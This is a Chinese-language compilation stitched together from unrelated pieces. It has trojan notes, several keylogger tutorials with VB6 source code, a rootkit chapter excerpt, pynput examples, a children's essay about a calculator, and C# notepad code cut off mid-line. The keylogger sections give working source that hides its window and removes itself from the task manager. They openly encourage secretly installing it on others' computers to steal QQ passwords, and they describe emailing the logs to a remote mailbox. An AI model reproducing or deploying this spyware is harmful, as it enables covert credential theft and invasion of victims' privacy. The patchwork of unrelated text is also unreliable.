记一次键盘记录器的编写
沉默的木马AND键盘记录器
常见木马种类
1. 网络游戏木马 2. 随着网络在线游戏的普及和升温,中国拥有规模庞大的网游玩家。网络游
戏中的金钱、装备等虚拟财富与现实财富之间的界限越来越模糊。与此同 时,以盗取网游帐号密码为目的的木马病毒也随之开展泛滥起来。 3. 网络游戏木马通常采用记录用户键盘输入、Hook游戏进程API函数等方法 获取用户的密码和帐号。窃取到的信息一般通过发送电子邮件或向远程脚 本程序提交的方式发送给木马作者。
4、定制端口
很多老式的木马端口都是固定的,这给判断是否感染了木马带来了方便,只要查 一下特定的 端口就知道感染了什么木马,所以现在很多新式的木马都参加了定 制端口的功能,控制端用户可以在1024---65535之间任选一个端口作为木马端口 (一般不选1024以下的端口),这样就给判断 所感染木马类型带来了麻烦。
性格独特的“病毒〞
• “木马〞程序是目前比较流行的病毒文件,但与一般的病毒不同
• 木马它不会自我繁殖,也并不“刻意〞地去感染其他文件,它通过将自身伪 装吸引用户下载执行,向施种木马者提供翻开被种者电脑的门户,使施种者 可以任意毁坏、窃取被种者的文件,甚至远程操控被种者的电脑。 即病毒中 沉默的“情报员〞。
5、内置到注册表中
上面的方法让木马着实舒服了一阵,既没有人能找到它,又能自动运行,真是 快哉!然而好景不长,人类很快就把它的马脚揪了出来,并对它进行了严厉的 惩罚!但是它还心有不甘,总结了失败教训后,认为上面的藏身之处很容易找, 现在必须躲在不容易被人发现的地方,于是它想到了注册表!确实注册表由于 比较复杂,木马常常喜欢藏在这里快活,赶快检查一下,有什么程序在其下, 睁大眼睛仔细看了,别放过木马哦:HKEY_LOCAL_MACHINE\Software\ Microsoft\Windows\CurrentVersion下所有以“run〞开头的键值; HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion下所有以“run〞开头的键值;HKEY-USERS\.Default\ Software\Microsoft\Windows\CurrentVersion下所有以“run〞开头的 键值。
[转载]手把手教你做键盘记录器
[转载]手把手教你做键盘记录器[转载]手把手教你做键盘记录器信息来源:网络安全文章系统前几天写了一篇键盘记录器,好多人反映看不懂,对新人没什么用处,所以且这篇我会写的很详细,再也不像那篇,出了代码什么也没 ^!^这个程序将会详细的讲解如何记载键盘的每一次输入。
下面介绍的这个程序主要是利用GetAsyncKeyState函数,使用GetAsyncKeyState可以获得键盘的动作。
GetAsyncKeyState函数根据虚拟键表判断按键的类型。
返回值为一个16位的二进值数,如果被按下则最高位为1,即返回-32767。
下面是API函数及鼠标中左右键在虚拟键表中的定义:Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer好了,函数就先介绍这么多,下面开始动手实战了first,当然是创建窗口了在时间控件的Timer时间中定义检查按键类型,代码如下:Dim AddKeyKeyResult = GetAsyncKeyState(13) ‘回车键If KeyResult = -32767 ThenAddKey = "[ENTER]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(17) ‘Ctrl键If KeyResult = -32767 ThenAddKey = "[CTRL]"GoTo KeyFoundEnd IfKeyRe sult = GetAsyncKeyState(8) ‘退格键If KeyResult = -32767 ThenAddKey = "[BKSPACE]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(9)If KeyResult = -32767 ThenAddKey = "[TAB]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(18)If KeyResult = -32767 ThenAddKey = "[ALT]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(19)If KeyResult = -32767 ThenAddKey = "[PAUSE]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(20)AddKey = "[CAPS]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(27) If KeyResult = -32767 Then AddKey = "[ESC]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(33) If KeyResult = -32767 Then AddKey = "[PGUP]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(34) If KeyResult = -32767 Then AddKey = "[PGDN]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(35) If KeyResult = -32767 Then AddKey = "[END]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(36)AddKey = "[HOME]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(44) If KeyResult = -32767 Then AddKey = "[SYSRQ]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(45) If KeyResult = -32767 Then AddKey = "[INS]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(46) If KeyResult = -32767 Then AddKey = "[DEL]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(144) If KeyResult = -32767 Then AddKey = "[NUM]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(37)AddKey = "[LEFT]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(38) If KeyResult = -32767 Then AddKey = "[UP]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(39) If KeyResult = -32767 Then AddKey = "[RIGHT]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(40) If KeyResult = -32767 Then AddKey = "[DOWN]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(112) If KeyResult = -32767 Then AddKey = "[F1]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(113) If KeyResult = -32767 Then AddKey = "[F2]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(114) If KeyResult = -32767 Then AddKey = "[F3]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(115) If KeyResult = -32767 Then AddKey = "[F4]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(116) If KeyResult = -32767 Then AddKey = "[F5]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(117) If KeyResult = -32767 Then AddKey = "[F6]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(118) If KeyResult = -32767 Then AddKey = "[F7]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(119) If KeyResult = -32767 Then AddKey = "[F8]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(120) If KeyResult = -32767 Then AddKey = "[F9]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(121) If KeyResult = -32767 Then AddKey = "[F10]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(122) If KeyResult = -32767 Then AddKey = "[F11]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(123) If KeyResult = -32767 Then AddKey = "[F12]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(124) If KeyResult = -32767 Then AddKey = "[F13]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(125) If KeyResult = -32767 Then AddKey = "[F14]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(126) If KeyResult = -32767 Then AddKey = "[F15]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(127) If KeyResult = -32767 Then AddKey = "[F16]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(32) If KeyResult = -32767 Then AddKey = " "GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(186) If KeyResult = -32767 Then AddKey = ";"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(187) If KeyResult = -32767 Then AddKey = "="GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(188) If KeyResult = -32767 Then AddKey = ","GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(189) If KeyResult = -32767 Then AddKey = "-"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(190) If KeyResult = -32767 Then AddKey = "."GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(191) If KeyResult = -32767 Then AddKey = "/" ‘/GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(192) If KeyResult = -32767 Then AddKey = "`" ‘`GoTo KeyFoundEnd If‘----------NUM PADKeyResult = GetAsyncKeyState(96) If KeyResult = -32767 Then AddKey = "0"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(97) If KeyResult = -32767 ThenAddKey = "1"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(98) If KeyResult = -32767 Then AddKey = "2"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(99) If KeyResult = -32767 Then AddKey = "3"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(100) If KeyResult = -32767 Then AddKey = "4"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(101) If KeyResult = -32767 Then AddKey = "5"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(102) If KeyResult = -32767 Then AddKey = "6"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(103) If KeyResult = -32767 Then AddKey = "7"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(104) If KeyResult = -32767 Then AddKey = "8"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(105) If KeyResult = -32767 Then AddKey = "9"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(106) If KeyResult = -32767 Then AddKey = "*"End IfKeyResult = GetAsyncKeyState(107) If KeyResult = -32767 Then AddKey = "+"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(108) If KeyResult = -32767 Then AddKey = "[ENTER]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(109) If KeyResult = -32767 Then AddKey = "-"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(110) If KeyResult = -32767 Then AddKey = "."GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(2) If KeyResult = -32767 Then AddKey = "/"End IfKeyResult = GetAsyncKeyState(220)If KeyResult = -32767 ThenAddKey = "\"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(222)If KeyResult = -32767 ThenAddKey = "‘"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(221)If KeyResult = -32767 ThenAddKey = "]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(219)If KeyResult = -32767 ThenAddKey = "["GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(16) ‘shift键If KeyResult = -32767 And TimeOut = 0 ThenAddKey = "[SHIFT]"LastKey = AddKeyTimeOut = 1GoTo KeyFoundEnd IfKeyLoop = 41Do Until KeyLoop = 256 ‘ 显示其他键KeyResult = GetAsyncKeyState(KeyLoop)If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop)KeyLoop = KeyLoop + 1LoopLastKey = AddKeyExit SubKeyFound: ‘显示键的信息Text1 = Text1 & AddKeyEnd Sub上面的()里面的数字实际是就是那些键的Ascii码,比如13就代表回车,17代表Ctrl,……由于数目太多,一一列举不方便现提供Ascii表一份供对照下面是其他的事件Private Sub Timer2_Timer()TimeOut = 0End Sub目的是随时刷新清空。
想监控他人电脑信息?自己动手写个键盘监视器吧!
想监控他人电脑信息?自己动手写个键盘监视器吧!
本次我们要编写的是一个键盘监视器。
这个键盘监视器有什么用呢,我们可以把这个键盘监视器偷偷装在别人的电脑上,或者通过木马植入,装在别人的电脑上之后,运行程序就可以实时监控别人的电脑了,比如别人在百度上搜了什么东西,和qq好友聊了些什么,甚至用了什么快捷键都可以检测的到。
当然这一切都是在后台中完成的。
不仅如此,我们还可以在代码中加入开机自启动的功能,还可以加入联网功能,将他人的这些键盘记录发送到远程的邮箱中。
当然,今天我们要讲的仅仅是键盘监视的这一部分。
首先来看最终的效果
演示
如上图所示,你能看出我打的是什么吗,另外,用这个东西来盗个什么qq密码等众多密码是毫无压力。
应该是由于中文的原因,上图中存在乱码,但并不影响使用。
好了,说完这些,我们来看代码,代码由python写成,除了python自带的库以外,还需要其他的一些库文件,大家可以自行安装。
需要说明的是,这类代码,大家能看懂则已,看不懂也没关系,只要会运行代码就OK了。
1.定义头文件及相关的参数:
2.获取当前进程信息:
3.键盘记录函数:
4.主函数:
主函数
大家下去可以自己动手试试,还可以偷偷放在自己好友的电脑上,看看好友的小秘密(虽然小编很鄙视这种行为)。
键盘记录器源码
标准模块:Public Declare Function MapV irtualKey Lib "user32" Alias "MapVirtualKeyA" (ByV al wCode As Long, ByV al wMapType As Long) As LongPublic Declare Function GetKeyState Lib "user32" (ByV al nVirtKey As Long) As IntegerPublic DX As DirectX7Public DI As DirectInputPublic DI_Keyboard As DirectInputDevicePublic key_state As DIKEYBOARDSTA TEPublic DataKeyCacheDX As StringPublic DataKeyCacheChar As String窗体模块:Private Sub Form_Load()Set DX = New DirectX7 '建立DirectX对象Set DI = DX.DirectInputCreate() '建立DirectInput对象Set DI_Keyboard = DI.CreateDevice("GUID_SysKeyboard") '建立DirectInput的键盘对象DI_Keyboard.SetCommonDataFormat DIFORMA T_KEYBOARD '设置数据格式DI_Keyboard.SetCooperativeLevel 0, DISCL_BACKGROUND Or DISCL_NONEXCLUSIVE '设置协作模式(就是DX设备要与某个窗口关联)。
DISCL_BACKGROUND这个是最重要的,它让程序即使在后台运行也能监视键盘输入,不然怎么做HOOK呢^_^DI_Keyboard.Acquire '开始' ------------------------Me.V isible = False '后台记录App.TaskV isible = False '在任务管理器中隐藏Timer1.Interval = 45Timer1.Enabled = True '开始轮询End SubPrivate Sub Form_Unload(Cancel As Integer) '结束程序时如果最后一行数据没保存就将其保存If DataKeyCacheDX <> "" ThenDataKeyCacheDX = DataKeyCacheDX & Now & "|"Open App.Path & "\Char.txt" For Append As #2Write #2, DataKeyCacheDXWrite #2, "-------------------------------------" '将两次记录到的数据隔开Close #2DataKeyCacheDX = ""End IfEnd SubPrivate Sub Label2_Click()Me.V isible = False '后台记录App.TaskV isible = False '在任务管理器中隐藏End SubPrivate Sub Timer1_Timer()' DX键盘记录On Error Resume NextStatic keyArray(255) As ByteDim key_count As Integer, vKeycode As Integer, vKeyASC As String, keysz As IntegerDI_Keyboard.GetDeviceStateKeyboard key_state '轮询键盘,并把键盘输入保存到key_state 结构中For key_count = 0 To 255If keyArray(key_count) <> key_state.Key(key_count) Then '判断是否有键被按下或弹起,key_count代表的是被按下的键的扫描码vKeycode = MapVirtualKey(key_count, 1) '扫描码转虚拟码If vKeycode = 123 Then '按F12显示窗口Me.V isible = TrueApp.TaskV isible = TrueEnd Ifkeysz = SmallKeyboard(vKeycode) '将小键盘的虚拟码转换成数字If keysz <> -1 ThenvKeyASC = keyszElsevKeyASC = Chr(MapVirtualKey(vKeycode, 2)) '虚拟码转换为ASCII字符If vKeyASC <> Chr(0) ThenIf GetKeyState(VK_CAPITAL) Mod &HFF80 = 1 ThenvKeyASC = UCase(vKeyASC) '根据大小写锁定键判断大小写ElsevKeyASC = LCase(vKeyASC)End IfIf vKeyASC = " " Then vKeyASC = "【空格】"ElsevKeyASC = "【" & CStr(vKeycode) & "】" '如果是不能显示的键,则直接显示虚拟码End IfEnd IfIf key_state.Key(key_count) = 128 Then '键处于按下状态vKeyASC = vKeyASC & "【down】" & "|" '记录按键DataKeyCacheDX = DataKeyCacheDX & vKeyASC & " " '存储按键,以空格为分隔符End IfIf Len(DataKeyCacheDX) >= 50 Then '每50个字符写一行DataKeyCacheDX = DataKeyCacheDX & Now & "|" '记下写记录的时间Open App.Path & "\Char.txt" For Append As #2Write #2, DataKeyCacheDXClose #2DataKeyCacheDX = ""End IfEnd IfkeyArray(key_count) = key_state.Key(key_count) '防止一次按键重复记录NextEnd SubPrivate Function SmallKeyboard(ByV al vKeycode As Integer) As Integer '小键盘按键转换Select Case vKeycodeCase 45SmallKeyboard = 0 '0的虚拟码为45,下同Case 35SmallKeyboard = 1Case 40SmallKeyboard = 2Case 34SmallKeyboard = 3Case 37SmallKeyboard = 4Case 12SmallKeyboard = 5Case 39SmallKeyboard = 6Case 36SmallKeyboard = 7Case 38SmallKeyboard = 8Case 33SmallKeyboard = 9Case ElseSmallKeyboard = -1End SelectEnd Function。
全能鼠标键盘记录器的详细介绍
全能鼠标键盘记录器的详细介绍全能鼠标键盘记录器是什么呢?它又有什么作用呢?不了解没关系,小编在这里为大家一一道来:全能鼠标键盘记录器的详细介绍。
记录您的键盘和鼠标操作,在以后需要的时候播放,就像您在亲自操作一样。
所有录制内容还可以规定在某一个时间播放,或者是某一种情况出现时播放,如内存不足,磁盘空间不够时,即使在屏保状态也能自动解锁播放。
内置多种命令,还可以轻松实现定时关机,一次性运行多个应用程序等等的功能。
详细说明:详细功能:易于使用初次使用只需要花费极短的时间即可以掌握的全部功能,脚本编辑器也本着简单易用的设计原则,根本不需要您具有编程方面的基础知识。
功能强大特别增加屏幕搜图和屏幕搜文字功能,特别适合于游戏中搜怪自动练功。
计划播放您可以指定一个脚本在某一个时间播放,比如:每天08:30,每周一的中午,每个月的最后一个星期五等等.相信您很快就能感受到它给您带来的便利.触发器播放每一个脚本均可以附加一些触发器,当一些事件发生时(如:磁盘容量不足,时间被修改时),这个脚本会自动执行.这允许您对这些事件进行监控,完成一些特殊的任务.由于脚本的播放是自动完成的,所以不需要您在场操作.自动登录当Windows处于屏保、工作站锁定甚至没有登录时,可以设置自动进行登录,脚本播放完成后还可以返回锁定状态。
热键播放在脚本列表中的每一个脚本都可以指定一个热键,当按下热键时脚本会开始播放.对于一些经常需要重复的操作,如输入姓名,地址等,打开一个网页等等,您可以将这些操作编为一个脚本,然后指定一个热键,需要的需要按下热键即可完成这些操作.在日常工作中,这是一个非常方便的工具,能为您节省大量的时间.临时脚本脚本分为普通命名脚本和临时脚本两种,普通命名脚本是一个单独的文件,可以修改它的脚本命令,增加密码保护,设置为自动运行(计划播放和触发器).临时脚本是为方便而设置的,它只能在"脚本管理器"运行时才能使用,您可以使用一个热键快速的录制一段操作,在需要时使用热键快速的进行播放.临时脚本在一些需要即录即用的场合特别好用,因为它几乎不需要进行设置即可完成录制/播放.密码保护您可以为脚本加上密码保护,这可以防止一些含有私人信息的脚本被播放,或是保护脚本的内容不被其它人修改.可以录制所有鼠标键盘动作建立脚本可以还通过录制鼠标和键盘动作来完成,录制过程会记录下所有的鼠标和键盘操作,包括两次击键间的时间间隔和普通鼠标的移动轨迹.您还可以改变录制范围,比如有些情况下并不需要记录鼠标移动轨迹或是两次击键间的间隔.软件的界面色调可以调整界面色调是完全可调的,您可以根据自己的喜好任意调整界面色调。
键盘记录器怎么使用
键盘记录器怎么使用大家想知道别人在你的电脑上输入过什么东西吗?那就必须为大家介绍键盘记录器这款软件了。
下面由店铺教大家怎么使用键盘记录器键盘记录器的使用方法1 首先运行本目录下的keyboardlog.exe,然后点"开起监控",注意这个程序只要运行一次就可以了,以后开机的时候自动运行。
2 如果不想运行这个程序,请执行"停止监控". 键盘记录器解压之后打开键盘记录器有个 keyboardlog.exe文件双击他会出现开启监控停止监控还有退出你点开启监控就行了看记录的时候哦一般默认路径是c:logofkey.txt 要是想改路径的话键盘记录器的文件夹里有一个 config.ini 文本文件打开之后在那里吧路径改了就好了机器重新启动也照样能记录电脑监控专家不仅可以记录所有的键盘输入,进行QQ聊天,MSN聊天记录的查看和上网监控,并且对电脑屏幕进行定时拷屏,对打开窗口和浏览的网站进行记录。
你还可以禁止打开指定的窗口和程序、禁止运行聊天软件,下载软件(迅雷、BT等)和游戏软件等。
如果尝试打开或运行这些被你禁止的窗口和程序会被立即关闭并记录下来。
另外,软件还可以把所有监控的信息(键盘输入记录,屏幕截图等)发送到你指定的邮箱,让你轻松实现网络监控。
本软件安装后,不留任何痕迹,并且采用热键启动的办法,让你在神不知,鬼不觉的情况下监控你想监控的电脑。
简单键盘记录器的使用打开简单键盘记录器之后是一个相当简洁的界面,该软件的一些主要功能都有选项或者快捷键可用,用户可以根据自己的需要配置属于自己的键盘记录器。
图2.简单键盘记录器主界面要想用好一款软件,首先要根据自身情况对这款软件进行一些个性化的配置,如果您出门在外又想知道别人用你的电脑做了什么的话,可以选择“系统启动时自动启动”和“隐藏运行界面”这两个选项,下次电脑重新启动之后简单键盘记录器就会在后台忠实的记录下电脑键盘所输入的信息了。
计算器的自述状物作文
计算器的自述状物作文小电脑,四方方,需计算,按几下。
大家猜猜我是谁?哈,聪明的你一定知道我的名字叫计算器。
我的身高比拟“硬伤”,只有区区11厘米。
但是我有意想不到的高智商,如26加99,拨算盘最少要5秒,而用计算器不到3秒就知道是125,我从来都不用吃饭、喝水、睡觉,只凭太阳光为我提供太阳能能源。
我有智慧的眼睛,我的眼睛就是显示屏。
但我的眼睛又不是万能的,最多也只能计算8位数字。
我的腰上一共有七排按钮,分六大功能区。
第一区为数字“0——9”,用于输入数字。
第二区为运算符号“+-×÷”,用于计算。
第三区为储存区,M+、M-用作存数,MRC帮我们将数提出来。
第四区为辅助计算区,为了使结果更加精细化,我的“母亲”工匠们还设计出了很多其他的功能键,不过我的主人还没学到那么复杂的知识,也不经常使用。
第五区为控制区,可以调节计算模式。
第六区为“金鸡独立”的开关键区,全区虽然只有一个按钮,但它的用处可大了,开机、关机、归零都包在它身上。
哦,对了,我的内脏也跟你们介绍一下。
谁也不知道,我的身体里隐藏了几粒纽扣电池。
它们与其他纽扣电池不太一样,它们比一般的纽扣电池更小,而且它们还可以吸收太阳能,将太阳能转化为电能,储存在我体内,然后持续工作,这就是我的心脏。
而我的脑子就是一块小芯片,价格比拟昂贵,整个计算器的价钱它就占了四分之三。
再把我的亲戚们给你们介绍一下。
自从乔布斯创造平板电脑以来,计算机的制造逐渐增长,直到帕斯卡创造了第一部电子计算器,目前,最厉害的计算机就是中国的神威.太湖之光。
注意:严禁3岁以下的婴儿单独使用我,以免吞噬我的细小零件。
请不要损坏我的任何一个零件,也不要在写作业时使用。
好了,我也已经介绍完自己了,也应该回去工作了,那么大家有没有更喜欢我呢?。
笫八章键盘记录
笫八章:按键记录概述到目前为止,我们所创建的钩子和过滤器所能做的仅仅是一些监视和过滤的工作,在本章我们会介绍另一项要进行的工作-按键记录。
非常不幸的是,文件操作(记录)需要在passive level 进行.而我们本章创建的键盘记录器可以运行在dispatch level上.因为在dispatch level上进行文件操作会导致操作系统崩溃,所以必须要有一个线程,一个存储数据的介质和一个同步方法来保证正常地操作.。
本章包含以下内容:处理级别一个键盘记录器线程与同步解读按键码一个实例测试实例处理级别在介绍内核级多线程及其同步的复杂性之前,我们应该先讨论下为什么要进行键盘记录。
本书所实现的rootkit是作为一个内核备驱动来实现的,而设备驱动是运行在许多可以限制它们的功能的处理级别上的,下面描述了设备驱动处理级别和在这些处理级别上调用的例程:IRQL = PASSIVE_LEVEL运行在此级别的例程:DriverEntry,AddDevice,Reinitialize,Unload ,大部分分发函数,驱动创建的线程和工作线程回调。
在这个处理级别上没有屏蔽任何中断。
IRQL = APC_LEVEL运行在此级别的例程:一些分发函数运行在这个处理级别上。
在这个处理级别上APC_LEVEL 中断会被屏蔽掉。
IRQL = DISPATCH_LEVEL运行在此级别的例程:StartIo,,AdapterControl,,AdapterListControl,,ControllerControl,,IoTimer,,Cancel (在等待cancel旋转锁的时候),,DpcForIsr,CustomTimerDpc,和CustomDpc。
DISPATCH_LEVEL和APC_LEVEL中断会被屏蔽掉,设备中断,时钟中断和电源故障中断都可以发生在这个处理级别上。
IRQL = DIRQL运行在此级别的例程:InterruptService 和SynchCritSection 。
pynput 用法
pynput 用法Pynput是一个用于控制和监控键盘和鼠标的Python库。
它提供了一种非常便捷的方式来模拟按键和鼠标事件,并且可以捕获键盘和鼠标的输入。
使用Pynput,你可以编写Python程序来自动化键盘和鼠标操作。
你可以模拟键盘按键的输入,例如按下和释放某个键,或者发送特殊的组合键如Ctrl+C。
此外,你还可以移动鼠标指针、点击鼠标按钮以及滚动鼠标滚轮。
除了模拟输入,Pynput还可以捕获键盘和鼠标事件。
你可以注册回调函数来处理按键按下、按键释放以及鼠标移动、点击等事件。
这意味着你可以利用Pynput 来开发键盘记录器、屏幕截图工具、自定义的鼠标控制器等等。
为了使用Pynput库,你首先需要安装它。
你可以使用Python的包管理器pip 来安装,只需在命令行中运行"pip install pynput"即可。
代码示例:```pythonfrom pynput.keyboard import Key, Controllerkeyboard = Controller()# 模拟按键操作keyboard.press(Key.ctrl)keyboard.press('c')keyboard.release('c')keyboard.release(Key.ctrl)# 移动鼠标from pynput.mouse import Controllermouse = Controller()mouse.position = (100, 100)mouse.move(50, 50)# 捕获按键事件from pynput.keyboard import Listenerdef on_press(key):print(f'按键 {key} 被按下')def on_release(key):print(f'按键 {key} 被释放')with Listener(on_press=on_press, on_release=on_release) as listener: listener.join()# 捕获鼠标事件from pynput.mouse import Listenerdef on_move(x, y):print(f'鼠标移动到 ({x}, {y})')def on_click(x, y, button, pressed):if pressed:print(f'鼠标点击在 ({x}, {y})')def on_scroll(x, y, dx, dy):print(f'鼠标滚轮滚动 {dx}, {dy}')with Listener(on_move=on_move, on_click=on_click, on_scroll=on_scroll) as listener:listener.join()```通过上述代码示例,你可以开始使用Pynput库来控制和监控键盘和鼠标,实现各种自动化和定制化的需求。
C#编写一个简单记事本功能
C#编写⼀个简单记事本功能本⽂实例为⼤家分享了C#编写记事本的具体代码,供⼤家参考,具体内容如下using System;using System.Collections.Generic;using ponentModel;using System.Data;using System.Drawing;using System.Linq;using System.Text;using System.Threading.Tasks;using System.Windows.Forms;namespace Notepad{public partial class frmNotepad : Form{//****************************************/*布尔变量b⽤于判断⽂件是新建的还是从磁盘打开的 true 表⽰从磁盘打开,false表⽰⽂件是新建的,默认值为false*/bool b = false;/*布尔变量s⽤于判断⽂件是否被保存 true 表⽰已经被保存,false表⽰未被保存,默认值为true*/bool s = true;//***********************************public frmNotepad(){InitializeComponent();richTextBox1.Text = "";}//***********************************************// 多格式⽂本框的TextChanged事件代码//************************************************private void richTextBox1_TextChanged(object sender, EventArgs e){//⽂本框被修改后,设置s为false,表⽰⽂件未保存s = false;}//*****************************************// 【⽂件】菜单各菜单项的单击代码//*******************************************//*****************************************// 【新建】菜单代码//*********************************************private void 新建NToolStripMenuItem_Click(object sender, EventArgs e){//判断当前⽂件是否是从磁盘打开,或者新建时⽂档不为空,并且⽂件未被保存if(b == true || richTextBox1.Text.Trim() != ""){//若⽂件未保存if(s == false){string result;result = MessageBox.Show("⽂件尚未保存,是否保存?", "保存⽂件", MessageBoxButtons.YesNoCancel).ToString(); switch(result){case"Yes"://若⽂件是从磁盘打开的if(b == true){//按⽂件打开的路径保存⽂件richTextBox1.SaveFile(sdlgNotepad.FileName);}else if(sdlgNotepad.ShowDialog()==DialogResult.OK){richTextBox1.SaveFile(sdlgNotepad.FileName);}s = true;richTextBox1.Text = "";break;case"No":b = false;richTextBox1.Text = "";break;}}}}//*******************************************// 【保存】菜单代码//********************************************private void 保存SToolStripMenuItem_Click(object sender, EventArgs e){//若⽂件从磁盘打开并且修改了其中内容if(b == true && richTextBox1.Modified == true){richTextBox1.SaveFile(odlgNotepad.FileName);s = true;}else if(b == false && richTextBox1.Text.Trim() != "" &&sdlgNotepad.ShowDialog() == DialogResult.OK){//保存⽂件richTextBox1.SaveFile(sdlgNotepad.FileName);s = true;b = true;odlgNotepad.FileName = sdlgNotepad.FileName;}}//**********************************************// 【打开】菜单代码//************************************************private void 打开OToolStripMenuItem_Click(object sender, EventArgs e){//判断当前⽂件是否是从磁盘打开,或者新建时⽂档不为空,并且⽂件未被保存try{if (b == true || richTextBox1.Text.Trim() != ""){if (s == false){string result;result = MessageBox.Show("⽂件尚未保存,是否保存?", "保存⽂件", MessageBoxButtons.YesNoCancel).ToString(); switch (result){case "Yes"://若⽂件是从磁盘打开的if (b == true){//按⽂件打开的路径保存⽂件richTextBox1.SaveFile(sdlgNotepad.FileName);}else if (sdlgNotepad.ShowDialog() == DialogResult.OK){richTextBox1.SaveFile(sdlgNotepad.FileName);}s = true;richTextBox1.Text = "";break;case "No":b = false;richTextBox1.Text = "";break;}}}odlgNotepad.RestoreDirectory = true;if ((odlgNotepad.ShowDialog() == DialogResult.OK) && odlgNotepad.FileName != ""){//打开⽂件richTextBox1.LoadFile(odlgNotepad.FileName);b = true;}s = true;}catch(Exception ex){}}//************************************// 【另存为】菜单代码//*****************************************private void 另存为AToolStripMenuItem_Click(object sender, EventArgs e) {if(sdlgNotepad.ShowDialog() == DialogResult.OK){richTextBox1.SaveFile(sdlgNotepad.FileName);s = true;}}//***************************************// 【退出】菜单代码//******************************************private void 退出XToolStripMenuItem_Click(object sender, EventArgs e) {//结束程序运⾏Application.Exit();}//************************************// 【编辑】菜单各菜单项的单击代码//*********************************************// 【撤销】菜单代码private void 撤消UToolStripMenuItem_Click(object sender, EventArgs e) {//撤销操作richTextBox1.Undo();}// 【复制】菜单代码private void 复制CToolStripMenuItem_Click(object sender, EventArgs e) {//复制richTextBox1.Copy();}// 【剪切】菜单代码private void 剪切TToolStripMenuItem_Click(object sender, EventArgs e) {//剪切richTextBox1.Cut();}// 【粘贴】菜单代码private void 粘贴PToolStripMenuItem_Click(object sender, EventArgs e) {//粘贴richTextBox1.Paste();}// 【全选】菜单代码private void 全选AToolStripMenuItem_Click(object sender, EventArgs e) {//全选richTextBox1.SelectAll();}//*************************************// 【格式】菜单代码//***************************************private void ⼯具TToolStripMenuItem_Click(object sender, EventArgs e) {}// 【⾃动换⾏】菜单代码private void ⾃定义CToolStripMenuItem_Click(object sender, EventArgs e) {if(⾃定义CToolStripMenuItem.Checked == false)//选中⾃动换⾏⾃定义CToolStripMenuItem.Checked = true;//设置为⾃动换⾏richTextBox1.WordWrap = true;}else{//未选中⾃动换⾏⾃定义CToolStripMenuItem.Checked = false;//设置为不⾃动换⾏richTextBox1.WordWrap = false;}}// 【字体】菜单代码private void 选项OToolStripMenuItem_Click(object sender, EventArgs e){fdlgNotepad.ShowColor = true;if(fdlgNotepad.ShowDialog() == DialogResult.OK){richTextBox1.SelectionColor = fdlgNotepad.Color;richTextBox1.SelectionFont = fdlgNotepad.Font;}}//************************************// 【帮助】菜单代码//************************************// 【关于】菜单代码private void 关于AToolStripMenuItem_Click(object sender, EventArgs e){MessageBox.Show("wky 编写", "关于\"记事本\"", 